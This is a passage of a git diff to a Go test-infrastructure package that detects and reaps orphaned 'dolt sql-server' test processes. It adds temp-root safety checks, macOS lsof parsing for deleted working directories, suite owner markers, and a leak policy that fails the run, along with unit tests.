leaving tempDirRoots empty and the +// deleted-cwd arm silently disabled on exactly the boxes whose killed runs it +// exists to clean up after. A root that merely contains a sandbox home stays +// credible; a root that IS the home does not, whatever the home looks like. +func isCredibleTempRoot(root, home string) bool { + cleaned := filepath.Clean(root) + if cleaned == "" || cleaned == "." || cleaned == string(filepath.Separator) { + return false + } + if !filepath.IsAbs(cleaned) { + return false + } + if home == "" { + return true + } + for _, h := range canonicalRoots([]string{home}) { + h = filepath.Clean(h) + if h == cleaned { + return false + } + if isUnderDir(h, cleaned) && !isSandboxHome(h) { + return false + } + } + return true +} + +// isSandboxHome reports whether home lives inside a FIXED system temp +// location — the shape a test harness's throwaway HOME takes. It is judged +// against hardcoded locations, never os.TempDir(), so TMPDIR cannot vote on +// its own credibility: TMPDIR=/home with HOME=/home/runner must still read as +// a real home under an overbroad root (TestTempDirRootsRejectsOverbroadTMPDIR). +func isSandboxHome(home string) bool { + return isUnderFixedTempRoots(home, runtime.GOOS) +} + +// isUnderFixedTempRoots reports whether path lies under one of the temp +// locations goos puts at a FIXED, non-configurable place. goos is a parameter +// rather than a read of runtime.GOOS so the platform table is testable from +// any platform (TestFixedTempRootsAreCredibleSandboxHomes). +// +// The list is deliberately hardcoded — see isSandboxHome — and canonicalRoots +// expands each entry so macOS's /private/var/folders form matches too. +func isUnderFixedTempRoots(path, goos string) bool { + return underAnyRoot(path, canonicalRoots(fixedTempRoots(goos))) +} + +// fixedTempRoots is the platform table behind isUnderFixedTempRoots. +// +// /tmp is everywhere: it is os.MkdirTemp's fallback when TMPDIR is unset, and +// CI harnesses (scripts/ci/lib/test-env.sh) mktemp -d their sandbox HOME under +// it. macOS additionally gives every user a per-user temp tree under +// /var/folders and points TMPDIR at it, so a suite that pins HOME to a +// t.TempDir() (cmd/bd/test_repo_beads_guard_test.go, internal/beads/testmain_test.go) +// puts HOME under /var/folders/xx/yy/T — which without this entry disqualified +// os.TempDir() itself and left the deleted-cwd arm inert on every Mac +// (wy-j2zc8q). +// +// The darwin row spells out the symlink-RESOLVED forms ("/private/tmp", +// "/private/var/folders") literally instead of leaving them to canonicalRoots. +// canonicalRoots resolves with filepath.EvalSymlinks, which reads the HOST's +// filesystem: on a Mac it turns /tmp and /var/folders into their /private/… +// targets, and on a Linux runner it adds nothing at all. But this table is a +// claim ABOUT darwin that any platform may be asked to judge — the platform +// row is pinned from Linux CI by TestSandboxHomeUnderPerUserTempRoot, and a +// Mac's lsof reports cwds in the /private/… form — so the answer must not +// depend on where the judging happens. canonicalRoots dedups, so on a real +// Mac these literals cost nothing: they are exactly what it would have added. +func fixedTempRoots(goos string) []string { + roots := []string{"/tmp"} + if goos == "darwin" { + roots = append(roots, "/private/tmp", "/var/folders", "/private/var/folders") + } + return roots +} + +// canonicalRoots expands each non-empty root into every form a process's +// working directory may be reported in: the path as given and, when it +// differs, its symlink-resolved form. macOS is why — os.MkdirTemp hands back +// /var/folders/… while lsof reports the /private/var/folders/… that symlink +// points at — but /tmp is a symlink to /private/tmp there too, and on Linux +// /tmp can be a symlink as well. Roots that cannot be resolved are kept +// as-is; duplicates are dropped. +func canonicalRoots(roots []string) []string { + var out []string + seen := make(map[string]bool, len(roots)*2) + add := func(path string) { + if path == "" || seen[path] { + return + } + seen[path] = true + out = append(out, path) + } + for _, root := range roots { + if root == "" { + continue + } + add(root) + if resolved, err := filepath.EvalSymlinks(root); err == nil { + add(resolved) + } + } + return out } // isDoltServerCmdline reports whether cmdline looks like a dolt sql-server diff --git a/internal/doltserver/sweep_darwin.go b/internal/doltserver/sweep_darwin.go index 86a69af1b..244a8e325 100644 --- a/internal/doltserver/sweep_darwin.go +++ b/internal/doltserver/sweep_darwin.go @@ -3,14 +3,10 @@ package doltserver import ( - "fmt" "os" "os/exec" - "path/filepath" "strconv" "strings" - "syscall" - "time" ) // SweepOrphanedTestServers reaps `dolt sql-server` processes that are @@ -22,63 +18,28 @@ import ( // a shared/global temp directory. This is best-effort: process-listing errors // and candidates whose cwd cannot be resolved are ignored. // -// Returns the PIDs it sent a kill signal to. -func SweepOrphanedTestServers(suiteTempRoots ...string) []int { +// Deprecated: use SweepSuiteTestServers for suite shutdown and +// SweepDeadSuiteRoots for abandoned runs. This global sweep can consume leak +// evidence belonging to a still-running foreign suite; do not call it from +// TestMain or pass its result to ApplyLeakPolicy. +// +// Returns the servers (pid + cwd) it sent a kill signal to. +func SweepOrphanedTestServers(suiteTempRoots ...string) []SweptServer { candidates := gatherDoltServerCandidates() - pids := selectOrphanTestServerPIDs(candidates, canonicalDarwinRoots(suiteTempRoots)) - - self := os.Getpid() - var killed []int - for _, pid := range pids { - if pid == self { - continue - } - // Re-read the process command immediately before signaling so a PID - // recycled since candidate collection cannot target an unrelated - // process. - if !isDoltServerProcess(pid) { - continue - } - if err := syscall.Kill(pid, syscall.SIGTERM); err == nil { - killed = append(killed, pid) - } - } - - if len(killed) == 0 { - return killed - } - - fmt.Fprintf(os.Stderr, "Info: swept %d orphaned test dolt sql-server process(es): %v\n", len(killed), killed) - - time.Sleep(300 * time.Millisecond) - for _, pid := range killed { - // Revalidate again before escalation for the same PID-reuse reason. - if !isDoltServerProcess(pid) { - continue - } - _ = syscall.Kill(pid, syscall.SIGKILL) - } - - return killed + selected := selectOrphanTestServers(candidates, canonicalRoots(suiteTempRoots), tempDirRoots()) + return reapServers(selected, isDoltServerProcess) } -// canonicalDarwinRoots makes caller roots comparable with lsof output. macOS -// commonly reports a cwd below /private/var while os.MkdirTemp returned the -// equivalent /var path. -func canonicalDarwinRoots(roots []string) []string { - canonical := make([]string, 0, len(roots)) - for _, root := range roots { - if root == "" { - continue - } - resolved, err := filepath.EvalSymlinks(root) - if err != nil { - canonical = append(canonical, root) - continue - } - canonical = append(canonical, resolved) - } - return canonical +// sweepServersUnderRoots reaps only the dolt sql-servers whose working +// directory sits under one of suiteTempRoots. It is SweepOrphanedTestServers +// without the deleted-cwd arm, for callers that must not reach outside the +// trees they name — see selectServersUnderRoots. +// +// Returns the servers (pid + cwd) it sent a kill signal to. +func sweepServersUnderRoots(suiteTempRoots ...string) []SweptServer { + candidates := gatherDoltServerCandidates() + selected := selectServersUnderRoots(candidates, canonicalRoots(suiteTempRoots)) + return reapServers(selected, isDoltServerProcess) } func gatherDoltServerCandidates() []serverCandidate { @@ -97,6 +58,10 @@ func isDoltServerProcess(pid int) bool { return isDoltServerCmdline(strings.TrimSpace(string(out))) } +// statFunc matches os.Stat. parseDarwinCwd takes one so its +// deleted-directory probe can be exercised without a live process. +type statFunc func(string) (os.FileInfo, error) + // readDarwinCwd resolves pid's cwd from lsof's machine-readable field output. // lsof emits the name as an `n` field after selecting descriptor `cwd`. func readDarwinCwd(pid int) (cwd string, deleted bool, ok bool) { @@ -106,7 +71,27 @@ func readDarwinCwd(pid int) (cwd string, deleted bool, ok bool) { if err != nil { return "", false, false } - for _, line := range strings.Split(string(out), "\n") { + return parseDarwinCwd(out, os.Stat) +} + +// parseDarwinCwd extracts the working directory from `lsof -Fn` output and +// decides whether that directory still exists. +// +// Unlike Linux's /proc//cwd symlink, macOS lsof does NOT append a +// " (deleted)" marker when the directory a process is sitting in has been +// unlinked — it prints the bare, now-dangling path. The suffix is still +// honored (harmless, and it keeps this parser shaped like readProcCwd), but +// when it is absent the path is stat'ed and ENOENT is the deletion signal. +// Without that probe the deleted-cwd arm of selectOrphanTestServers could +// never fire on darwin, so a `go test -timeout` panic — which skips every +// t.Cleanup and TestMain defer — left its dolt sql-server running forever +// even though the temp tree it served was long gone (wy-j2zc8q). +// +// Any other stat error (a permission wall, an unreadable parent) is treated +// as "not deleted": this sweep only ever escalates on positive proof, never +// on a failed read. +func parseDarwinCwd(lsofOutput []byte, stat statFunc) (cwd string, deleted bool, ok bool) { + for _, line := range strings.Split(string(lsofOutput), "\n") { if !strings.HasPrefix(line, "n") { continue } @@ -115,9 +100,13 @@ func readDarwinCwd(pid int) (cwd string, deleted bool, ok bool) { if strings.HasSuffix(cwd, deletedSuffix) { return strings.TrimSuffix(cwd, deletedSuffix), true, true } - if cwd != "" { - return cwd, false, true + if cwd == "" { + continue } + if _, err := stat(cwd); err != nil && os.IsNotExist(err) { + return cwd, true, true + } + return cwd, false, true } return "", false, false } diff --git a/internal/doltserver/sweep_darwin_test.go b/internal/doltserver/sweep_darwin_test.go new file mode 100644 index 000000000..87e419985 --- /dev/null +++ b/internal/doltserver/sweep_darwin_test.go @@ -0,0 +1,120 @@ +//go:build darwin + +package doltserver + +import ( + "io/fs" + "os" + "testing" +) + +// TestParseDarwinCwdOrphanDetection pins the darwin-only half of the +// deleted-cwd signal. macOS lsof prints the bare path of a working directory +// that has since been removed — no " (deleted)" suffix, unlike Linux's +// /proc//cwd — so the stat probe is the only thing that lets +// selectOrphanTestServerPIDs recognize a leaked test server on this platform +// (wy-j2zc8q). +func TestParseDarwinCwdOrphanDetection(t *testing.T) { + const livePath = "/private/var/folders/xx/T/some-suite/002" + const gonePath = "/private/var/folders/xx/T/TestUOWDependencyEditorContract1/002" + + statLive := func(string) (os.FileInfo, error) { return nil, nil } + statGone := func(string) (os.FileInfo, error) { + return nil, &fs.PathError{Op: "stat", Path: gonePath, Err: fs.ErrNotExist} + } + statDenied := func(string) (os.FileInfo, error) { + return nil, &fs.PathError{Op: "stat", Path: livePath, Err: fs.ErrPermission} + } + statPanics := func(string) (os.FileInfo, error) { + t.Helper() + t.Fatal("stat must not be called when lsof already reported the directory deleted") + return nil, nil + } + + cases := []struct { + name string + lsofOutput string + stat statFunc + wantCwd string + wantDeleted bool + wantOK bool + }{ + { + name: "existing directory is live", + lsofOutput: "p123\nn" + livePath + "\n", + stat: statLive, + wantCwd: livePath, + wantOK: true, + }, + { + name: "missing directory is the leak signature even with no suffix", + lsofOutput: "p123\nn" + gonePath + "\n", + stat: statGone, + wantCwd: gonePath, + wantDeleted: true, + wantOK: true, + }, + { + name: "explicit (deleted) suffix still wins without touching the filesystem", + lsofOutput: "p123\nn" + gonePath + " (deleted)\n", + stat: statPanics, + wantCwd: gonePath, + wantDeleted: true, + wantOK: true, + }, + { + name: "a stat error that is not ENOENT is never read as deleted", + lsofOutput: "p123\nn" + livePath + "\n", + stat: statDenied, + wantCwd: livePath, + wantOK: true, + }, + { + name: "no n field at all is unknown, not deleted", + lsofOutput: "p123\nfcwd\n", + stat: statPanics, + wantOK: false, + }, + { + name: "an empty n field is skipped in favor of the next one", + lsofOutput: "p123\nn\nn" + livePath + "\n", + stat: statLive, + wantCwd: livePath, + wantOK: true, + }, + { + name: "empty output is unknown", + lsofOutput: "", + stat: statPanics, + wantOK: false, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + cwd, deleted, ok := parseDarwinCwd([]byte(tc.lsofOutput), tc.stat) + if cwd != tc.wantCwd || deleted != tc.wantDeleted || ok != tc.wantOK { + t.Errorf("parseDarwinCwd() = (%q, %v, %v), want (%q, %v, %v)", + cwd, deleted, ok, tc.wantCwd, tc.wantDeleted, tc.wantOK) + } + }) + } +} + +// TestParseDarwinCwdAgainstRealFilesystem exercises the same path with the +// real os.Stat, so the ENOENT classification is checked against the kernel +// rather than a hand-written error value. +func TestParseDarwinCwdAgainstRealFilesystem(t *testing.T) { + live := t.TempDir() + gone := t.TempDir() + if err := os.RemoveAll(gone); err != nil { + t.Fatalf("RemoveAll(%s): %v", gone, err) + } + + if _, deleted, ok := parseDarwinCwd([]byte("n"+live+"\n"), os.Stat); !ok || deleted { + t.Errorf("live dir %s: deleted=%v ok=%v, want deleted=false ok=true", live, deleted, ok) + } + if cwd, deleted, ok := parseDarwinCwd([]byte("n"+gone+"\n"), os.Stat); !ok || !deleted || cwd != gone { + t.Errorf("removed dir %s: cwd=%q deleted=%v ok=%v, want cwd=%s deleted=true ok=true", gone, cwd, deleted, ok, gone) + } +} diff --git a/internal/doltserver/sweep_linux.go b/internal/doltserver/sweep_linux.go index 6764b8ccb..0056646a6 100644 --- a/internal/doltserver/sweep_linux.go +++ b/internal/doltserver/sweep_linux.go @@ -3,94 +3,39 @@ package doltserver import ( - "fmt" "os" "path/filepath" "strconv" "strings" - "syscall" - "time" ) -// SweepOrphanedTestServers reaps `dolt sql-server` processes that are -// provably leaked test debris: their working directory has been deleted, or -// sits under one of suiteTempRoots. It is meant to be called once, from a -// test suite's TestMain, after m.Run() returns — a backstop for servers -// that survived an interrupted (e.g. SIGKILLed) test run despite the -// test-mode Pdeathsig in procattr_linux.go. +// SweepOrphanedTestServers reaps dolt sql-servers under suiteTempRoots and +// deleted-cwd servers under credible global temp roots. A root must belong +// exclusively to the caller, never be a shared/global temp directory. // -// suiteTempRoots MUST be directories owned by (anchored under) the calling -// suite alone — e.g. a package's own testTempRoot — never a shared/global -// temp dir such as os.TempDir(). scripts/test.sh runs packages in parallel -// (-p N), so a global root would make every *other* suite's still-running -// server (whose data dir also happens to live under os.TempDir(), which is -// true of essentially all of them) look like debris and get SIGTERM'd -// mid-run. That is why this function never defaults to os.TempDir() itself: -// a live server is only ever reaped when its cwd is nested under a root the -// caller vouches for as its own. +// Deprecated: use SweepSuiteTestServers for suite shutdown and +// SweepDeadSuiteRoots for abandoned runs. This global sweep can consume leak +// evidence belonging to a still-running foreign suite; do not call it from +// TestMain or pass its result to ApplyLeakPolicy. // -// A server whose working directory has been deleted (cwdDeleted, see -// readProcCwd) is reaped unconditionally regardless of suiteTempRoots — -// that is the unambiguous leak signature (a t.TempDir() cleanup ran out -// from under a still-live detached server) and cannot occur for any -// server, from any suite, that is still legitimately in use. -// -// Safety is the whole point: this must never touch a developer's real -// shared server. It only reads /proc (no killing) to build the candidate -// list, and selectOrphanTestServerPIDs only matches processes whose data -// directory is gone or explicitly caller-scoped — a production server's -// data directory is neither. Errors reading /proc for any single PID just -// drop that PID from consideration; this function is best-effort and never -// returns an error itself. -// -// Returns the PIDs it sent a kill signal to. -func SweepOrphanedTestServers(suiteTempRoots ...string) []int { +// Returns the servers (pid + cwd) it sent a kill signal to. Process-listing +// errors and candidates whose cwd cannot be resolved are ignored. +func SweepOrphanedTestServers(suiteTempRoots ...string) []SweptServer { candidates := gatherDoltServerCandidates() - pids := selectOrphanTestServerPIDs(candidates, suiteTempRoots) + selected := selectOrphanTestServers(candidates, canonicalRoots(suiteTempRoots), tempDirRoots()) + return reapServers(selected, isDoltServerProcess) +} - self := os.Getpid() - var killed []int - for _, pid := range pids { - if pid == self { - continue - } - // Revalidate identity right before signaling: candidate selection - // above already did its own /proc read, and in a PID-reuse window - // the kernel could have recycled this PID to an unrelated process - // in between. isDoltServerProcess re-reads /proc//cmdline so - // we only ever signal something that still looks like the - // dolt sql-server we selected. - if !isDoltServerProcess(pid) { - continue - } - if err := syscall.Kill(pid, syscall.SIGTERM); err == nil { - killed = append(killed, pid) - } - } - - if len(killed) == 0 { - return killed - } - - fmt.Fprintf(os.Stderr, "Info: swept %d orphaned test dolt sql-server process(es): %v\n", len(killed), killed) - - // Give SIGTERM a moment, then force anything still alive. This runs at - // suite exit, so a short bounded wait here is acceptable. - time.Sleep(300 * time.Millisecond) - for _, pid := range killed { - // Revalidate again before escalating to SIGKILL: the original - // server may have exited cleanly during the grace period, and in - // a PID-reuse window (the kernel cycling the whole PID space - // within 300ms) this PID could now belong to an unrelated - // process. Recheck it still looks like a dolt sql-server before - // force-killing it. - if !isDoltServerProcess(pid) { - continue - } - _ = syscall.Kill(pid, syscall.SIGKILL) - } - - return killed +// sweepServersUnderRoots reaps only the dolt sql-servers whose working +// directory sits under one of suiteTempRoots. It is SweepOrphanedTestServers +// without the deleted-cwd arm, for callers that must not reach outside the +// trees they name — see selectServersUnderRoots. +// +// Returns the servers (pid + cwd) it sent a kill signal to. +func sweepServersUnderRoots(suiteTempRoots ...string) []SweptServer { + candidates := gatherDoltServerCandidates() + selected := selectServersUnderRoots(candidates, canonicalRoots(suiteTempRoots)) + return reapServers(selected, isDoltServerProcess) } // isDoltServerProcess re-reads /proc//cmdline and reports whether pid diff --git a/internal/doltserver/sweep_other.go b/internal/doltserver/sweep_other.go index 70f2f90b6..c4ff67e4a 100644 --- a/internal/doltserver/sweep_other.go +++ b/internal/doltserver/sweep_other.go @@ -5,6 +5,15 @@ package doltserver // SweepOrphanedTestServers is a no-op on platforms where process command // lines and working directories cannot be inspected by an implementation in // this package. The stub keeps callers (test TestMains) portable. -func SweepOrphanedTestServers(_ ...string) []int { +// +// Deprecated: use SweepSuiteTestServers for suite shutdown and +// SweepDeadSuiteRoots for abandoned runs. +func SweepOrphanedTestServers(_ ...string) []SweptServer { + return nil +} + +// sweepServersUnderRoots is the root-scoped sibling of +// SweepOrphanedTestServers and is a no-op here for the same reason. +func sweepServersUnderRoots(_ ...string) []SweptServer { return nil } diff --git a/internal/doltserver/sweep_reap_unix.go b/internal/doltserver/sweep_reap_unix.go new file mode 100644 index 000000000..cc7ab08f1 --- /dev/null +++ b/internal/doltserver/sweep_reap_unix.go @@ -0,0 +1,63 @@ +//go:build darwin || linux + +package doltserver + +import ( + "fmt" + "os" + "syscall" + "time" +) + +// reapServers SIGTERMs each selected server, then SIGKILLs whatever is still +// alive a moment later. isServer re-reads the process's identity and reports +// whether it still looks like a dolt sql-server; it is consulted immediately +// before EVERY signal, because the kernel could have recycled the PID onto an +// unrelated process since the candidate list was built (and again during the +// grace period below). The caller passes its platform's probe — /proc on +// linux, ps on darwin. +// +// This lives in a darwin||linux file rather than the portable sweep.go +// because the signaling itself is POSIX; the selection logic that decides +// WHICH servers get here is in sweep.go and is platform-independent. +// +// The Info line prints each entry as " cwd=" (SweptServer.String). +// The directory, not the PID, is what a reader can act on: it is the temp +// tree the leaked server was serving, which Go names after the test that +// created it, so the report identifies the leaking fixture instead of a +// number that no longer refers to anything (wy-j2zc8q). +// +// Returns the servers it sent a kill signal to. +func reapServers(servers []SweptServer, isServer func(int) bool) []SweptServer { + self := os.Getpid() + var killed []SweptServer + for _, server := range servers { + if server.PID == self { + continue + } + if !isServer(server.PID) { + continue + } + if err := syscall.Kill(server.PID, syscall.SIGTERM); err == nil { + killed = append(killed, server) + } + } + + if len(killed) == 0 { + return killed + } + + fmt.Fprintf(os.Stderr, "Info: swept %d orphaned test dolt sql-server process(es): %v\n", len(killed), killed) + + // Give SIGTERM a moment, then force anything still alive. This runs at a + // suite boundary, so a short bounded wait here is acceptable. + time.Sleep(300 * time.Millisecond) + for _, server := range killed { + if !isServer(server.PID) { + continue + } + _ = syscall.Kill(server.PID, syscall.SIGKILL) + } + + return killed +} diff --git a/internal/doltserver/sweep_reap_unix_test.go b/internal/doltserver/sweep_reap_unix_test.go new file mode 100644 index 000000000..4617e656a --- /dev/null +++ b/internal/doltserver/sweep_reap_unix_test.go @@ -0,0 +1,53 @@ +//go:build darwin || linux + +package doltserver + +import ( + "os/exec" + "reflect" + "strings" + "testing" + "time" +) + +// TestReapServersReportsTheLeakedDirectory pins the sweep's Info line against +// a real process. The line is the FIRST thing a reader sees when a suite +// leaks, and until it carried the reaped server's working directory it named +// only a PID that had already been killed — nothing to grep, nothing to fix +// (wy-j2zc8q). The cwd is the temp tree the server was serving, which Go +// names after the test that created it. +func TestReapServersReportsTheLeakedDirectory(t *testing.T) { + dir := t.TempDir() + cmd := exec.Command("/bin/sh", "-c", "trap 'exit 0' TERM; while :; do sleep 1; done") + cmd.Dir = dir + if err := cmd.Start(); err != nil { + t.Fatalf("start stand-in server: %v", err) + } + exited := make(chan error, 1) + go func() { exited <- cmd.Wait() }() + t.Cleanup(func() { _ = cmd.Process.Kill() }) + + server := SweptServer{PID: cmd.Process.Pid, Cwd: dir} + var killed []SweptServer + out := captureStderr(t, func() { + // The identity probe is stubbed: this stand-in is a shell, not a + // dolt binary, and the probe's own behavior is covered elsewhere. + killed = reapServers([]SweptServer{server}, func(int) bool { return true }) + }) + + if want := []SweptServer{server}; !reflect.DeepEqual(killed, want) { + t.Fatalf("reapServers() = %v, want %v", killed, want) + } + if !strings.Contains(out, "Info: swept 1 orphaned test dolt sql-server process(es)") { + t.Errorf("stderr = %q, want the Info line", out) + } + if want := "cwd=" + dir; !strings.Contains(out, want) { + t.Errorf("stderr = %q, want it to name the leaked directory %q", out, want) + } + + select { + case <-exited: + case <-time.After(5 * time.Second): + t.Fatal("reapServers left the stand-in server running") + } +} diff --git a/internal/doltserver/sweep_suite.go b/internal/doltserver/sweep_suite.go new file mode 100644 index 000000000..abca5af75 --- /dev/null +++ b/internal/doltserver/sweep_suite.go @@ -0,0 +1,257 @@ +package doltserver + +import ( + "fmt" + "os" + "path/filepath" + "strconv" + "strings" +) + +// SuiteOwnerMarkerName is the file a test suite's TestMain writes at the root +// of the temp tree it owns, recording the PID of the process that created it. +// +// It exists so a LATER run can tell two indistinguishable-looking leftovers +// apart: the temp root of a sibling run that is alive right now (a parallel +// package under scripts/test.sh -p N, or a second `go test` in another +// terminal), and the temp root of a run whose process is gone — killed by +// `go test -timeout`, a CI cancel, or Ctrl-C — which skipped every defer and +// left its dolt sql-server behind (wy-j2zc8q). +const SuiteOwnerMarkerName = "testmain.pid" + +// AllowLeakEnv downgrades a post-run sweep that actually reaped something +// from a suite failure to a warning. Setting it to "1" is the ONLY way a +// leaked `dolt sql-server` leaves a green run. +// +// The default is the failure, not the warning. This leak has now been +// diagnosed and closed three times (wy-9byjk, wy-5ce39p, wy-j2zc8q) and every +// one of those fixes was landed alongside machinery that reported the leak on +// stderr and exited 0 — so each regression rode a green suite for weeks, and +// the leak was rediscovered from a dev box's process table rather than from +// CI. A reaped server means a test finished with a detached daemon still +// serving a directory the suite is about to delete; that is a defect in the +// suite, and the run should say so in the only channel anybody reads. +// +// The escape hatch exists for the bisect/triage case — someone who needs the +// tests' own exit code out of a package with a known leak — not as a lane +// default. +const AllowLeakEnv = "BEADS_TEST_ALLOW_LEAK" + +// WriteSuiteOwnerMarker records this process as the owner of root by writing +// SuiteOwnerMarkerName inside it. Call it from TestMain immediately after +// creating the suite's temp root; SweepDeadSuiteRoots in a later run reads it. +// +// A root with no marker is never swept, so failing to write one only costs +// the next run its chance to clean up — it is never unsafe. +func WriteSuiteOwnerMarker(root string) error { + return writeSuiteOwnerMarkerPID(root, os.Getpid()) +} + +// writeSuiteOwnerMarkerPID writes an owner marker naming an arbitrary PID. +// SweepDeadSuiteRoots uses it to put a marker BACK, naming the same dead +// owner, when it could not finish removing a root. +func writeSuiteOwnerMarkerPID(root string, pid int) error { + if root == "" { + return fmt.Errorf("doltserver: WriteSuiteOwnerMarker: empty root") + } + path := filepath.Join(root, SuiteOwnerMarkerName) + return os.WriteFile(path, []byte(strconv.Itoa(pid)+"\n"), 0o600) +} + +// readSuiteOwnerMarker returns the PID recorded in root's owner marker. +// ok is false when the marker is absent, unreadable, or does not hold a +// plausible PID — all of which mean "owner unknown", never "owner dead". +func readSuiteOwnerMarker(root string) (pid int, ok bool) { + // #nosec G304 -- the path is this package's own constant joined to a + // temp root the caller vouches for; nothing here comes from user input. + data, err := os.ReadFile(filepath.Join(root, SuiteOwnerMarkerName)) + if err != nil { + return 0, false + } + pid, err = strconv.Atoi(strings.TrimSpace(string(data))) + if err != nil || pid <= 0 { + return 0, false + } + return pid, true +} + +// suiteRootAction is what SweepDeadSuiteRoots does with one candidate root. +type suiteRootAction int + +const ( + // leaveSuiteRoot means the root is not provably debris: either nobody + // claimed it (a pre-marker leftover, or another tool's directory that + // merely shares the prefix) or its owning process is still running. + leaveSuiteRoot suiteRootAction = iota + // sweepSuiteRoot means a run claimed this root and that run is gone, so + // anything still alive under it is leaked debris. + sweepSuiteRoot +) + +// decideSuiteRoot is the whole safety judgment of SweepDeadSuiteRoots, +// isolated from the filesystem and from process signaling so it can be +// tabled in a unit test. +// +// Only one combination reaps: a marker exists AND the PID it names is gone. +// "No marker" deliberately does NOT reap — a directory nobody claimed cannot +// be proven to be ours, and deleting it (plus SIGTERMing servers under it) +// on a guess is exactly the cross-suite killer sweep.go's contract forbids. +func decideSuiteRoot(hasMarker, ownerAlive bool) suiteRootAction { + if !hasMarker || ownerAlive { + return leaveSuiteRoot + } + return sweepSuiteRoot +} + +// SweepDeadSuiteRoots reaps the temp roots left behind by earlier runs of the +// calling suite whose owning process is dead: it kills the dolt sql-servers +// still running under each such root and removes the tree. +// +// parentDir is where the suite creates its roots (os.TempDir() at call time) +// and prefix is the suite's own os.MkdirTemp pattern minus the random tail +// (e.g. "beads-bd-tests-"). Both must be non-empty; an empty prefix would +// glob the entire temp directory and is refused. +// +// Call it from TestMain BEFORE creating this run's own root. It is +// best-effort and returns the roots it removed. +// +// Safety rests entirely on decideSuiteRoot: a root is only ever touched when +// it is owned by the current user, carries this suite's own owner marker, and +// that owner is gone. Live sibling runs (marker + live PID) and unclaimed +// leftovers (no marker) are both left exactly as they are. +// +// The per-root reap is strictly root-scoped. Sibling packages may still be +// running at either startup or shutdown, so neither sweep may consume their +// leak evidence. Abandoned-run cleanup is separate from this run's leak policy. +func SweepDeadSuiteRoots(parentDir, prefix string) []string { + return sweepDeadSuiteRoots(parentDir, prefix, processAlive, sweepServersUnderRoots, removeSuiteRoot) +} + +// removeSuiteRoot removes a suite temp root, making unwritable directories +// writable first. cmd/bd's root doubles as an isolated $HOME, so it can hold +// read-only Go module cache entries that plain os.RemoveAll refuses; this +// mirrors forceRemoveAll in cmd/bd's TestMain. +func removeSuiteRoot(root string) error { + _ = filepath.Walk(root, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + if info.IsDir() && info.Mode()&0o200 == 0 { + // #nosec G122 -- filepath.Walk lstats, so this only ever fires on + // a real directory (never a symlink), inside a root the caller + // already proved is owned by this user and abandoned by a dead + // process. Widening its owner-write bit is also the least + // consequential thing that could be done to a swapped path. + _ = os.Chmod(path, info.Mode()|0o200) + } + return nil + }) + return os.RemoveAll(root) +} + +// sweepDeadSuiteRoots is SweepDeadSuiteRoots with its three effects injected: +// the liveness probe, the orphan-server reaper, and the tree removal. +func sweepDeadSuiteRoots( + parentDir, prefix string, + alive func(int) bool, + sweepServers func(...string) []SweptServer, + removeAll func(string) error, +) []string { + if parentDir == "" || prefix == "" { + return nil + } + matches, err := filepath.Glob(filepath.Join(parentDir, prefix+"*")) + if err != nil { + return nil + } + + var swept []string + for _, root := range matches { + // Lstat, not Stat: a symlink that happens to match the prefix must + // not be followed out of parentDir and removed. + info, err := os.Lstat(root) + if err != nil || !info.IsDir() { + continue + } + // On a shared /tmp anyone can plant a directory with this prefix and + // a marker naming a dead PID. Only trust a root this user owns. + if !rootOwnedBySelf(info) { + continue + } + pid, hasMarker := readSuiteOwnerMarker(root) + if decideSuiteRoot(hasMarker, hasMarker && alive(pid)) != sweepSuiteRoot { + continue + } + sweepServers(root) + if err := removeAll(root); err != nil { + // Removal is not atomic: the marker is usually among the first + // entries deleted, so a partial failure would leave an unclaimed + // root that no later run may ever touch again. Put the marker + // back, naming the same dead owner, so the next run retries. + if writeErr := writeSuiteOwnerMarkerPID(root, pid); writeErr != nil { + fmt.Fprintf(os.Stderr, + "Warning: could not remove dead test-suite root %s (%v) and could not restore its owner marker (%v); it will not be retried\n", + root, err, writeErr) + } else { + fmt.Fprintf(os.Stderr, + "Warning: could not remove dead test-suite root %s: %v (marker restored; the next run retries)\n", + root, err) + } + continue + } + swept = append(swept, root) + } + + if len(swept) > 0 { + fmt.Fprintf(os.Stderr, "Info: swept %d dead test-suite temp root(s): %v\n", len(swept), swept) + } + return swept +} + +// SweepSuiteTestServers reaps only dolt sql-servers under suiteTempRoots, +// including servers whose working directory has been deleted. Call it after +// m.Run, before removing the roots, and pass its result to ApplyLeakPolicy. +// Every root must belong exclusively to this suite; never pass a shared temp +// directory. No roots means no servers are selected. +// +// Unlike SweepOrphanedTestServers, it never reaps deleted-cwd debris outside +// those roots: a foreign suite may still be running and must retain its own +// leak evidence. Use SweepDeadSuiteRoots separately at startup to clean up +// abandoned runs without charging their leaks to the current run. +func SweepSuiteTestServers(suiteTempRoots ...string) []SweptServer { + return sweepServersUnderRoots(suiteTempRoots...) +} + +// ApplyLeakPolicy folds the result of a post-run SweepSuiteTestServers +// call into the suite's exit code. suite names the package for the log line. +// +// A non-empty sweep means the suite leaked a dolt sql-server: the tests +// finished, but a server survived every t.Cleanup and TestMain defer. That +// fails the run, so the regression is caught by the suite that caused it +// instead of by someone reading `ps` days later — unless AllowLeakEnv is set +// to "1", which downgrades it to the loud stderr line it used to be. A code +// the tests already failed with is preserved, never overwritten. +// +// Both lines print each leak as " cwd=" (SweptServer.String): the +// PID is dead by the time anyone reads the log, but the directory names the +// test whose fixture leaked, which is the only part of the report a reader +// can act on (wy-j2zc8q). +func ApplyLeakPolicy(suite string, code int, swept []SweptServer) int { + if len(swept) == 0 { + return code + } + if os.Getenv(AllowLeakEnv) == "1" { + fmt.Fprintf(os.Stderr, + "Warning: %d leaked dolt sql-server(s) swept after %s: %v (%s=1 is downgrading this from a failure)\n", + len(swept), suite, swept, AllowLeakEnv) + return code + } + fmt.Fprintf(os.Stderr, + "FAIL: %s leaked %d dolt sql-server process(es) %v; swept them. A test finished with a detached server still\n"+ + " serving a temp dir this suite deletes. Fix the fixture's cleanup, or set %s=1 to downgrade this.\n", + suite, len(swept), swept, AllowLeakEnv) + if code == 0 { + return 1 + } + return code +} diff --git a/internal/doltserver/sweep_suite_linux_test.go b/internal/doltserver/sweep_suite_linux_test.go new file mode 100644 index 000000000..c96771962 --- /dev/null +++ b/internal/doltserver/sweep_suite_linux_test.go @@ -0,0 +1,82 @@ +//go:build linux + +package doltserver + +import ( + "os" + "os/exec" + "path/filepath" + "testing" + "time" +) + +// Exercise the public sweep and real signal path in the order parallel suites +// can finish: clean B first, leaking A second. Linux retains a deleted cwd's +// path in /proc, so this does not depend on a Dolt installation or lsof. +func 